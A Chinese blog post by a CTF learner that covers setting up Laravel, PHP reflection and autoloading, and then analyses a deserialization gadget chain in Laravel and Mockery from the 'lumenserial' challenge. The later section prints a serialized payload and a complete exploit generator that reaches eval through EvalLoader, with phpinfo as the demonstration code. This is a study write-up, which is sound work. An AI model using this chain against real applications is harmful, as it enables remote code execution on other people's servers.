前段时间国赛打自闭了,框架一个接一个,菜鸡还没开始好好研究就已经要用了,学习一波,如有错误,烦请大佬斧正
安装
鉴于菜鸡安装还是踩了一点坑,所以记录一下
首先第一点,不要用一键安装包!!!千万不要用!!搭建过程虽然省事,但是启动以后一堆bug,菜鸡调试半天都没能解决完,最后还是弃坑,自己搭
再接下来就是自己先搭一个服务器环境,菜鸡是在window搭建的,所以就直接用了xampp去搭建,省事还快捷,下载安装就行了,这里注意一点,因为laravel大量使用php的新特性,所以下载xampp的时候最好使用最新版,以免出现不兼容的情况
composer
因为laravel框架需要用到composer进行管理,所以我们需要先下载安装,网址如下1
https://docs.phpcomposer.com/00-intro.html
下载下来基本无脑next就行,中间找php解释器的时候如果安装程序不能自动找到就自己找一下给个路径,最后顺带选择同意让他将系统的环境变量配好,安装完成以后测试一下,在命令框输入composer
,如果出现下图,那就基本安装好了
laravel
安装好composer
,重启一下apache
,就可以开始安装laravel
了,这里安装还是很简单的
首先命令行进入xampp
下的htdocs
文件夹1
cd xampp/htdocs/
然后运行1
composer create-project laravel/laravel --prefer-dist
这个时候如果结果如下图而且htdocs目录下有个laravel文件夹,就基本能下载安装框架成功了
但是如果出下如下错误1
2
3[Composer\Downloader\TransportException]
The "https://packagist.org/p/symfony/polyfill-ctype%24de39fcb04af7704e77b309de60f85b9a505bd04379afd8bbff7ada66e1478fb8.json"
file could not be downloaded (HTTP/1.1 404 Not Found)
则需要先运行以下两句命令1
2composer clear-cache
composer dump-autoload
然后再用composer去运行上面的创建项目语句,如果结果如上所说,就基本成功
最后再访问一下http://localhost/laravel/public/index.php
(具体路径根据自己的目录而定,出现下图的话,恭喜你,laravel
框架成功搭建
前置知识
反射
反射之前菜鸡也写过一篇博客,这里就直接贴代码不解释了,结合php开发手册估计基本都能理解1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
class test{
public $name = "Ariel";
private $nickname = "Xi4or0uji";
protected $gender;
private function get(){
$this -> name = "Ariel";
return $this->name;
}
public function hello(){
return " hello world";
}
}
//获取类
$obj = new ReflectionClass("test");
//获得类名
$classname = $obj -> getName();
echo "classname: ".$classname."<br>";
$methods = $properties = [];
//获得属性名
foreach ($obj -> getProperties() as $v){
$properties[$v -> getName()] = $v;
}
ksort($properties);
foreach ($properties as $k => $v){
if ($v -> isPrivate()){
echo $v." is public"."<br>";
}
if ($v -> isProtected()){
echo $v."is protected"."<br>";
}
if ($v -> isPrivate()){
echo $v."is private"."<br>";
}
}
//获得方法名
foreach ($obj -> getMethods() as $v){
// echo $v->getName()."<br>";
$methods[$v -> getName()] = $v;
}
ksort($methods);
foreach ($methods as $k => $v){
echo "function is ".$k."<br>";
}
//调用
$test = new test();
$ref = new ReflectionClass($test);
$method = $ref -> getMethod("get");
$method -> setAccessible(true); //调用私有函数需要设置
print $method->invoke($test);
//这种写法也可以
$ref = new ReflectionClass('test');
$instance = $ref -> newInstanceArgs(); //相当于实例化test类
$method = $ref->getMethod('get');
$method -> setAccessible(true); //调用私有函数需要设置
echo $method -> invoke($instance);
还有一个thinkphp的反射?菜鸡没实验成功,就贴链接吧1
https://www.cnblogs.com/52php/p/5675237.html
自加载与命名空间
手动加载
这些基本都是直接贴代码+注释,不作详细的讲解2333
include
查找顺序:1
2
3
4
5include参数没路径:
include_path执行的目录 -> 脚本文件所在的目录和当前工作目录
include参数有路径:
include参数的目录 -> 脚本文件所在的目录和当前工作目录
如果找不到只发出warming
具体加载过程
class.php1
2
3
4
5
6
class Test{
static public function get(){
echo "hello";
}
}
load.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
echo "1"."<br>";
$ret = include "class.php";
echo sprintf("include ret-value: %d, ret-type: %s <br>", $ret, gettype($ret));
Test::get();
//包含不存在的文件
echo "<br>"."2"."<br>";
$ret1 = include "./class1.php";
echo sprintf("include ret-value: %d, ret-type: %s <br>", $ret1, gettype($ret1));
//重复包含
echo "<br>"."3"."<br>";
$ret2 = include "./class.php";
echo sprintf("include ret-value: %d, ret-type: %s <br>", $ret2, gettype($ret2));
Test::get();
结果
结论1
2
3include成功返回1,失败返回false
include失败只会返回warning,不会中断运行
include不能重复包含,会直接报错
include_once
1 | echo "1"."<br>"; |
结果
结论1
2其实跟include差不多,成功包含返回1,但是可以重复加载,其实也不能算是重复加载,是直接用之前包含了的
文件不存在也只是报warming,不影响后面执行
require
不放代码和图片了,跟include差不多,成功包含返回1,但是重复包含会报错,包含不存在的文件也会报错
require_once
跟include_once差不多,成功包含返回1,可以重复包含,但包含不存在的文件会报错
__autoload
这里我们还是拿原来那个类,但是命名规范一点
test.php1
2
3
4
5
6
class Test{
static public function get(){
echo "hello";
}
}
load.php1
2
3
4
5
6//__autoload
function __autoload($classname){
$filename = "./".lcfirst($classname).".php";
include_once ($filename);
}
Test::get();
这个方法会自动加载没包含进去的类,如果找不到就报错,最后运行直接就出hello了,但是菜鸡在官方文档看到这一句1
2Warning
This feature has been DEPRECATED as of PHP 7.2.0. Relying on this feature is highly discouraged.
菜鸡的php环境是7.2.1,居然还能用(摊手
spl_autoload_register
官方文档对此函数解释如下1
2将函数注册到SPL __autoload函数队列中。如果该队列中的函数尚未激活,则激活它们。
如果在你的程序中已经实现了__autoload()函数,它必须显式注册到__autoload()队列中。
先贴个代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32//test.php
class Test{
static public function get(){
echo "hello f1";
}
}
//ttt.class.php
class Ttt{
static public function test(){
echo "hello f2";
}
}
//load.php
//spl_autoload_register
$load1 = function ($classname){
echo "load1"."<br>";
$filename = "./".lcfirst($classname).".php";
include_once ($filename);
};
$load2 = function ($classname){
echo "load2"."<br>";
$filename = "./".lcfirst($classname).".class.php";
include_once ($filename);
};
spl_autoload_register($load1);
spl_autoload_register($load2);
Test::get();
Ttt::test();
先放个回显
菜鸡尝试了一波,具体流程是
spl队列里面放了两个函数,一个load1,一个load2,接下下面调用两个类的方法,队列首先出来一个load1的方法,去寻找有test.php文件,找到了就执行里面的get函数,接着就寻找ttt.php文件,找不到就结束当前的函数,接着队列弹出下一个函数load2,接着去执行当时没有执行的类,然后就寻找ttt.class.php文件并执行
命名空间
这个部分菜鸡还是直接贴代码&总结,8具体解释了1
2
mockery组件反序列化分析
几天前ph牛在小密圈发了之前code breaking lumenserial
的官方exp,遂学习一波1
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{S:9:"\00*\00events";O:25:"Illuminate\Bus\Dispatcher":1:{S:16:"\00*\00queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;S:4:"load";}}S:8:"\00*\00event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{S:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{S:9:"\00*\00config";O:35:"Mockery\Generator\MockConfiguration":1:{S:7:"\00*\00name";S:7:"abcdefg";}S:7:"\00*\00code";S:25:"<?php phpinfo(); exit; ?>";}}}
入口还是那个熟悉的配方,嗯,就是PendingBroadcasting
那个类
在Illuminate\Broadcasting\PendingBroadcasting.php
里面有个__destruct
函数,没错,又是这个函数…….1
2
3
4
5public function __destruct()
{
// $this->events->dispatch(protected $this->event);
$this->events->dispatch($this->event);
}
而这两个参数$this->event
和$this->events
,都是可以控制的,再找一下别的类有没有dispatch
这个方法,ph大师傅给了Illuminate\Bus\Dispatcher
里面的dispatch
方法1
2
3
4
5
6
7
8public function dispatch($command)
{
// if (protected $this->queueResolver && instanceof $this->commandShouldBeQueued($command))
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}
先看前面的if
有两个条件,第一个是$this->queueResolver
,另一个则是$this->commandShouldBeQueued($command)
,而$this->queueResolver
这个参数是可控的,跟过去commandShouldBeQueued
方法看一下1
2
3
4protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
ShouldQueue
是一个接口,所以这个只要满足继承了这个接口就行了,这里ph牛用了Illuminate\Broadcasting\BroadcastEvent
这个类1
2
3
4class BroadcastEvent implements ShouldQueue
{
......
}
所以这两个条件都是能满足的,再跟下去dispatchToQueue
函数看一下有什么1
2
3
4
5
6
7public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
// $queue = call_user_func(protected $this->queueResolver, $command->connnetction);
$queue = call_user_func($this->queueResolver, $connection);
......
}
很愉快地看到了call_user_func
,包含两个参数,$this->queueResolver
就是上面的dispatch
的那个参数,而$connection
是由传参$command
决定的
再接着就是找个能调用的方法了,这里ph牛给了个Mockery\Loader\EvalLoader
类1
2
3
4
5
6
7
8
9
10
11class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}
eval("?>" . $definition->getCode());
}
}
这个类很简短,里面只有个load
方法,还有个eval
,所以接下来我们就是要想办法让class_exists($definition->getClassName(), false)
返回false,控制$definition->getCode()
这个值啦
先跟过去看getClassName
方法1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17namespace Mockery\Generator;
class MockDefinition
{
protected $config;
protected $code;
public function getClassName()
{
return $this->config->getName();
}
public function getCode()
{
return $this->code;
}
}
发现getClassName
调用的是getName
,继续跟过去,代码只放关键部分1
2
3
4
5
6
7
8
9
10
11
12namespace Mockery\Generator;
class MockConfiguration
{
protected $name;
public function getName()
{
return $this->name;
}
}
可以看到getName
会返回$name
,而这个参数是可控的,至此,我们已经可以成功控制class_exists($definition->getClassName(), false)
的返回值了
最后看一下$definition->getCode()
方法的返回值,上面贴的代码可以看到,返回的code
也是可控的,所以pop已经很清晰了1
2
3
4利用PendingBroadcast的__destruct方法调用Dispatcher的dispatch方法
利用BroadcastEvent满足$this->commandShouldBeQueued($command)这个条件,接着调用dispatchToQueue方法
利用dispatchToQueue方法去调用EvalLoader的load方法
控制MockDefinition和MockConfiguration的变量使load方法的if条件返回false,最后成功执行eval
exp如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $event;
protected $events;
function __construct($event, $events)
{
$this->event = $event;
$this->events = $events;
}
// function __destruct()
// {
// $this->events->dispatch($this->event);
// }
}
}
namespace Illuminate\Bus{
class Dispatcher{
protected $queueResolver;
function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
// public function dispatch($command)
// {
//// if (protected $this->queueResolver && instanceof $this->commandShouldBeQueued($command))
// if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
// return $this->dispatchToQueue($command);
// }
//
// return $this->dispatchNow($command);
// }
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent{
protected $connection;
function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Mockery\Loader{
class EvalLoader{
public function load(MockDefinition $definition)
{
// if (class_exists($definition->getClassName(), false)) {
// return;
// }
// eval(" " . $definition->getCode());
}
}
}
namespace Mockery\Generator{
class MockDefinition{
protected $config;
protected $code;
function __construct($config)
{
$this->config = $config;
$this->code = "<?php phpinfo(); ?>";
}
}
class MockConfiguration{
protected $name;
function __construct()
{
$this->name = "abcd";
}
}
}
namespace {
$EvalLoader = new Mockery\Loader\EvalLoader();
$queueResolver = [$EvalLoader,"load"];
$MockConfiguration = new Mockery\Generator\MockConfiguration();
$MockDefinition = new Mockery\Generator\MockDefinition($MockConfiguration);
$BroadcastEvent = new Illuminate\Broadcasting\BroadcastEvent($MockDefinition);
$Dispatcher = new Illuminate\Bus\Dispatcher($queueResolver);
$PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($BroadcastEvent, $Dispatcher);
echo urlencode(serialize($PendingBroadcast));
}
参考
https://www.php.net/manual/zh/
https://segmentfault.com/a/1190000012203213
https://segmentfault.com/a/1190000004851664